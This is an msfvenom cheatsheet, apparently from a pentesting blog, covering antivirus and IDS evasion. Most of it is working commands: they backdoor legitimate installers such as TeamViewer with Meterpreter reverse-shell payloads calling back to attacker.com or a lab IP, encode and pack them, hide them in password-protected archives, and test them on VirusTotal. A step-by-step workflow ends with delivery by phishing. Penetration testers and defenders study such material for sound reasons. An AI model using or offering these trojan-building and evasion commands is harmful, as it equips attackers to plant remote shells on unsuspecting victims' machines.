Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

msfvenom Cheatsheet

Protection Types

TypeDescription
Endpoint ProtectionLocalized software protecting single hosts (AV, antimalware, firewall, anti-DDoS)
Perimeter ProtectionPhysical/virtual devices on network edge (firewalls, IDS/IPS)
DMZDe-Militarized Zone for public-facing servers with moderate trust level

Detection Methods

MethodDescription
Signature-basedPattern matching against known attack signatures (100% match triggers alarm)
Heuristic/AnomalyBehavioral comparison against established baseline
Stateful Protocol AnalysisComparing protocol events against accepted definitions
SOC Live MonitoringHuman analysts monitoring network activity in real-time

msfvenom Evasion Commands

Backdoored Executable Template

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -x ~/Downloads/TeamViewer_Setup.exe \
  -e x86/shikata_ga_nai -a x86 --platform windows \
  -o ~/Desktop/TeamViewer_Setup.exe -i 5

Key Flags

FlagDescription
-kKeep original executable functionality (run payload in separate thread)
-x <file>Use executable as template
-e <encoder>Specify encoder (e.g., x86/shikata_ga_nai)
-i <count>Number of encoding iterations
-a <arch>Architecture (x86, x64)
--platformTarget platform (windows, linux)
-f <format>Output format (exe, elf, raw, js, etc.)
-o <file>Output file path

With -k, the original application runs normally while the payload executes in a separate thread. However, if launched from the CLI, a separate window may appear.

Generate Encoded Payload

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5

Simply encoding payloads with multiple iterations is often not sufficient for all AV products.


VirusTotal Analysis

msf-virustotal -k <API_key> -f payload.exe

Archive Evasion

Password-protected archives bypass many AV signatures but may generate “unable to scan” alerts.

# Create password-protected archive
zip -e -P secretpass payload.zip payload.exe
7z a -pSecretPass payload.7z payload.exe

Packers compress and obfuscate executables by packing the payload with decompression code. When run, decompression restores the original executable transparently.

PackerDescription
UPXUniversal executable packer
The Enigma ProtectorWindows executable protection
MPRESSPE/ELF/Mach-O packer
ThemidaAdvanced code protection
MEWMinimal executable packer
ExeStealthAnti-debugging protection
MorphinePolymorphic packer

UPX Example

# Pack executable
upx -9 payload.exe -o packed_payload.exe

# Unpack (for analysis)
upx -d packed_payload.exe

Common Encoders

EncoderRankDescription
x86/shikata_ga_naiExcellentPolymorphic XOR Additive Feedback
x64/xorManualSimple XOR encoder
x64/zutto_dekiruManualZutto Dekiru encoder
x86/alpha_mixedLowAlphanumeric mixedcase
x86/unicode_mixedLowUnicode mixedcase

Exploit Code Randomization

When writing exploit code, add offset randomization to break IDS signatures:

'Targets' =>
[
 [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],

IPS/IDS regularly check for standard NOP sleds. Use randomized shellcode encoding and vary NOP equivalents.


MSF6 Encrypted Sessions

MSF6 can tunnel AES-encrypted communication from Meterpreter shells, encrypting traffic as the payload is sent. Meterpreter runs in memory (no file on disk).

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set StageEncoder x64/xor
run -j

DNS Exfiltration

In cases with strict traffic rules, DNS can be used for data exfiltration. Often allowed through firewalls and difficult to detect without DNS-specific monitoring. Slow but stealthy (notably used in the Equifax breach, 2017).


Evasion Workflow

Step 1: Choose Delivery Method

  • Backdoored executable
  • Macro-enabled document
  • Script file (JS, VBS, PS1)
  • Archive with password

Step 2: Apply Obfuscation

# Generate encoded backdoored executable
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
  -x legit_app.exe -k \
  -e x86/shikata_ga_nai -i 15 \
  -f exe -o trojan.exe

Step 3: Pack the Payload (Optional)

upx -9 trojan.exe -o trojan_packed.exe

Step 4: Test Detection

msf-virustotal -k <API_key> -f trojan_packed.exe

Step 5: Setup Handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
run -j

Step 6: Deliver and Execute

  • Social engineering / phishing email
  • Physical access
  • Exploit existing vulnerability

Quick Reference

Generate Stealthy Payload

# Backdoored installer with encoding
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
  -x legit_installer.exe -k \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o trojan_installer.exe

Evasion Checklist

  • Use executable templates (-x flag)
  • Enable -k for legitimate functionality
  • Apply multiple encoding iterations
  • Consider using packers
  • Use password-protected archives for delivery
  • Leverage HTTPS/encrypted channels
  • Randomize exploit offsets
  • Avoid obvious NOP sleds
  • Test against sandbox before deployment

References